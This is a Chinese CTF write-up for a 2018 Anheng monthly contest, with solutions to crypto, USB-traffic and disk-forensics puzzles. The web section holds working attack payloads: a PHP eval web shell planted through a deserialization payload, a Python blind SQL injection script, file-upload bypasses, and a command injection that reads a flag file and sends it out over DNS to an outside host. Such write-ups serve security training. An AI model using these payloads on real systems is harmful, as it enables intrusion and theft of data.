2018二月安恒月赛WRITE UP

原创

郁离歌 于 2018-03-12 21:47:14 发布 5316 收藏 1
分类专栏： CTF-WRITE-UP 文章标签： CTF学习 安恒月赛 writeup

二月安恒月赛WRITE UP

CRYPTO

凯撒？替换？呵呵！

题目说明：

MTHJ{CUBCGXGUGXWREXIPOYAOEYFIGXWRXCHTKHFCOHCFDUCGTXZO
HIXOEOWMEHZO}
answer：这题可以秒解，因为flag格式是flag{}，所以MTHJ应该替换成flag。

掏出杀器替换网站quipquip

真的是秒解，遗憾没打这比赛，~~一分钟不到就拿一血是怎样一种体验~~233333允许我小小的yy一下（羞

Cipher

题目说明：

还能提示什么呢？公平的玩吧（密钥自己找） Dncnoqqfliqrpgeklwmppu

answer：密钥自己找？看了一下是不是一月安恒的培根的坑，发现大写的字母就第一个，可能并不是培根。

然后其实题目还是给出了提示：“公平”，公平的英文是fair，联想到经典密码：**playfair密码**。

原理请见：

> *https://zh.wikipedia.org/wiki/%E6%B3%A2%E9%9B%B7%E8%B2%BB%E5%AF%86%E7%A2%BC*

然而还是不知道密钥是啥，这就很烦了，试试playfairexample作为密码，然后并不能得出flag，一般密码题，flag应该是有意义的句子。

好吧，实在是想不到，看wp才知道密钥是playfair。（好坑）

解密得flag.

根据算法，得到: *itisnotaproblemhavefun*

> *flag{itisnotaproblemhavefun}*

MISC

感谢榕榕姐姐给我发的misc题目QWQ。

USB

首先拿到一个压缩包，里面两个文件，一个233.rar压缩包和一个key.ftm.

没什么想法，用winrar打开233.rar，发现一个报错。

---

png的文件头被破坏，那么就要修复一下了。用winhex打开233.rar。修复png。

这里科普一下rar的文件结构：

> *https://wenku.baidu.com/view/b7889b64783e0912a2162aa4.html*

我们看到文件头的头类型必须是0x74。然后原233.rar文件结构中是7A。那么就修复一下。

然后就能打开233.png了。

没什么想法，放stegsolve上过一遍，发现在蓝色通道的0层处有二维码。扫一下二维码得到

> *ci{v3erf_0tygidv2_fc0}*

然后栅栏加凯撒？不是还有一个key.ftm文件还没动吗？

对key.ftm用USB Monitor Pro打开ftm文件，发现第51行有一个压缩包。

进行binwalk分析，发现有一个key.pcap流量包。

提取出来，发现是USB流量包经典题型。直接拿脚本跑。

这里附上USB流量包和鼠标流量包的分析链接：

> *http://blog.csdn.net/qq_36609913/article/details/78578406*

脚本跑一下，拿到***KEY{XINAN}***

既然有key的话就能想到维吉尼亚密码。

找一个在线网站：

> *http://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx*

得到：*fa{i3eei_0llgvgn2_sc0}*

然后明显是栅栏解密了。

22个字符，明显11个一栏。解密得flag。

> *flag{vig3ne2e_is_c00l}*

溯源

拿到文件之后，用file命令分析

> *file secret*

发现是一个镜像文件。使用mount命令挂载一下。

先创建一个1文件夹。

> *mount secret ./1*

打开文件发现see_it,显示后门已经删除。

那么使用extundelete命令恢复磁盘文件。首先先看一下原本有些什么文件。（如果不会用extundelete可以先extundelete --help）

```
extundelete secret --inode 2
```

可以看到

不管了全部恢复

> *extundelete secret --restore-all*

把hack.chm拿出来，用hh.exe打开分析。

> *hh -decompile hack hack.chm*

然后在hack文件夹下的xep.htm里面找到这样的信息。

好，访问

http://192.168.5.48/C_0uT.php

额额，发现并没有什么东西，后来发现是个bug，是小写t。

实际是

> *http://192.168.5.48/C_0ut.php?data=hello*

然后思路全无。。。。。没事用nmap扫一波。

看到一波端口。

访问一下8080端口。

发现一波代码审计（woc！这不是misc吗？）

好吧，利用反序列化漏洞，文件上传，getshell。

测试：

> *http://192.168.5.42/C_0ut.php?data=%3C?php%20eval($_GET[%27a%27]);?%3E*

看到源代码已经写入改信息。

然后利用反序列化利用漏洞。

> *O:9:"copy_file":3:{s:4:"path";s:7:"upload/";s:4:"file";s:10:"yulige.php";s:3:"url";s:67:"http://127.0.0.1/C_0ut.php?data=%3C?php%20eval($_GET[%27a%27]);?%3E";}*

然后利用**data**传入。

> *http://192.168.5.42:8080/?data=O%3A9%3A%22copy_file%22%3A3%3A%7Bs%3A4%3A%22path%22%3Bs%3A7%3A%22upload%2f%22%3B*

说明已经上传成功，yulige.php下密码是a。

测试：

发现shell正常，列一下文件。

然后读取

WEB

终于到WEB了233333

进击的盲注

掏出御剑扫目录日常。发现robots.txt。

发现有index.txt。访问发现源码泄露。

```
<!DOCTYPE HTML>
<html>
<head>
<title>乌云后台登录</title>
<!-- Custom Theme files -->
<link href="css/style.css" rel="stylesheet" type="text/css" media="all"/>
<!-- Custom Theme files -->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="keywords" content="后台登录" />

</head>
<body>

<?php

function dbconnection()
{
        @$con = mysql_connect("localhost","root","c2FkZmFnZGZkc3Nm");
        // Check connection
        if (!$con)
        {
                echo "Failed to connect to MySQL: " . mysql_error();
        }
        @mysql_select_db("blindsql",$con) or die ( "Unable to connect to the database");
        mysql_query("SET character set 'UTF8'");
}
function waf($id)
{
if(preg_match("/\(|\)|\\\\/", $id))
 return True;
```

```
 return true;
else
 return False;
}

if(isset($_POST['username'])&&isset($_POST['password']))
{
  $hit = '';
        dbconnection();
  $username = $_POST['username'];
  $password = $_POST['password'];
  if(waf($username))
  {
   $hit = "illegal character";
  }
  else{
   $sql="SELECT * FROM admin WHERE username='".$username."'" ;
   $result=mysql_query($sql);
   @$row = mysql_fetch_array($result);
   #$name = $row['username'];
   if(isset($row)&&$row['username']!="admin"){
    $hit = "username error!";
   }else{
    if ($row['password']===md5($password)){
     $hit = '没啥用哦，还是到数据库里拿数据吧。';
    }else{
     $hit = "password error!";
    }
   }
  }
        mysql_close();
}
?>
<!--header start here-->
<div class="login-form">
   <div class="top-login">
    <span><img src="images/group.png" alt=""/></span>
   </div>
   <h1>登录</h1>
   <div class="login-top">
   <form method="post" action="index.php" id="slick-login">
    <?php if(isset($hit))echo "<font color='#FFE7BA'><p align='center'>$hit</p></font>";?>
    <div class="login-ic">
     <i ></i>
     <input type="text" name="username" class="placeholder" placeholder="username">
     <div class="clear"> </div>
    </div>
    <div class="login-ic">
     <i class="icon"></i>
     <input type="password" name="password" class="placeholder" placeholder="password">
     <div class="clear"> </div>
    </div>

    <div class="log-bwn">
     <input type="submit"  value="Login" >
    </div>
    </form>
   </div>
   <p class="copy">© 安恒</p>
</div>
```

```
<!--header start here-->
</body>
</html>
```

代码审计咯，首先有关键语句：

```
@$con = mysql_connect("localhost","root","c2FkZmFnZGZkc3Nm");
```

用户名是root，密码是*c2FkZmFnZGZkc3Nm*，使用的是本地登陆localhost。

```
function waf($id) { if(preg_match("/\(|\)|\\\/", $id)) return True; else return False; }
```

发现waf掉了()/三个符号，然后看看连接语句是：

```
$sql="SELECT * FROM admin WHERE username='".$username."' ;
```

这就是注入点了。

我们使用order by注入。

```
' or 1 union select 1,2,'%s' order by 3#
```

用以上payload进行盲注。

然后发现GG，没有什么luan用，因为order对大小写不敏感。这里考了一下binary的使用。

使用binary的话可以识别大小写。贴一下盲注的脚本：

```
#!/usr/bin/env python
# encoding: utf-8
import requests
import string
url = "192.168.5.62/index.php"
flag = ""
for i in range(1,1270):
    payload = flag
    for j in "0123456789"+string.letters+"!@#$^&*()==":
        data = {
                "username":"admin' and password like binary 'dVAxMEBkX25Fdy5waHA%s%%'#"%(payload+j),
                "password":"123"
        }
        print data
        r = requests.post(url=url,data=data)
        if "password error" in r.content:
            flag += j
            print flag
            break
```

膜拜一叶飘零师傅。

跑出来uP10@d_nEw.php的base64字符串。

进入发现是文件上传。

http://192.168.5.62/uP10@d_nEw.php

发现其实上传可以成功的，但是如果不是图片格式，会被删除。

方法一：条件竞争。一边上传我们的带马的php文件一边访问上传的网页。

直到返回200，说明已经上传成功。然后，拿一句话获得flag即可。

方法二：xishir师傅的思路(膜一发xishir）

使用.php;.jpg的后缀的php文件即可拿shell。

PING

打开什么都没有，日常掏出大宝剑（御剑）扫目录。发现又是robots.txt

```
User-agent: *
Disallow:
Disallow: index.txt
Disallow: where_is_flag.php
```

访问index.txt

```
<?php include ("where_is_flag.php");
echo "ping";
$ip = (string)$_GET['ping'];
$ip = str_replace(">", "0.0", $ip);
system("ping " . $ip);
```

就发现过滤了">",既然是ping，刚好上次moctf新春欢乐赛看到一题ping。

其实差不多的解法，都是利用DNS带出。（盲打RCE）

```
http://192.168.5.49/?ping=`cat where_is_flag.php|sed s/[[:space:]]//g`.yulige.ceye.io
```

s/[[:space:]]//g 是因为域名里面是不能有空格的，这里把空格过滤。

盲打RCE细讲请看一叶飘零师傅的文章（再膜一下）。

```
http://skysec.top/2017/12/29/Time-Based-RCE/
```

读flag。

```
http://192.168.5.49/?ping=`cat dgfsdunsadkjgdgdfhdfhfgdhsadf/flag.php|sed s/[[:space:]]//g`.yulige.ceye.io
```

看到flag成功带出。

应该不是XSS

打开题目一看，是个留言板。

F12代码审计。

发现main.js.

```
$(function () {

    $.getToken = function () {
        return $("token").text();
    }

    var panel = ['feedback','login','main','chgpass'];
    var token = $.getToken();

    function getPage(){
     var page = document.location.hash.slice(1).split('-')[0];
     if(panel.indexOf(page) > -1){
      return page;
     }
     return panel[0];
    }

    function loadPage(page){
     page = page + '.html';
     $.get( "./template/"+page, function(data) {
  $("#frame").html(data);
 })
 .fail(function() {
  alert( "杞藉硬妯℃潜澶辫触" );
 });
    }

    function main(){
 page = getPage();
 loadPage(page);
    }

    window.onhashchange = function(){
      main();
    }

    main();
});
```

看到是动态载入其他页面。大致意思是用#可以访问其他页面，访问 /#login是登录的界面，/#chgpass是修改密码的界面，其中修改密码的时候不需要输入原密码，看到这里明白大概其是个csrf。

而访问#main的时候发现flag{}里面是空的，说明可能没有权限加载，所以用csrf获取管理员权限。

审计app.js

发现是个修改密码的js，但是会先验证token，所以我们需要先得到token。

然而token就在源代码里面

获取token的方法原理：

> *https://githubengineering.com/githubs-post-csp-journey/*

方法一：CSRF

因为后面需要vps，我懒的弄了，直接看大佬的操作。

长图来源链接：

> *http://www.mamicode.com/info-detail-2214325.html*

方法二：XSS

附上大佬的解题思路：

> *http://forum.91ctf.com/index.php/group/topic/id-37*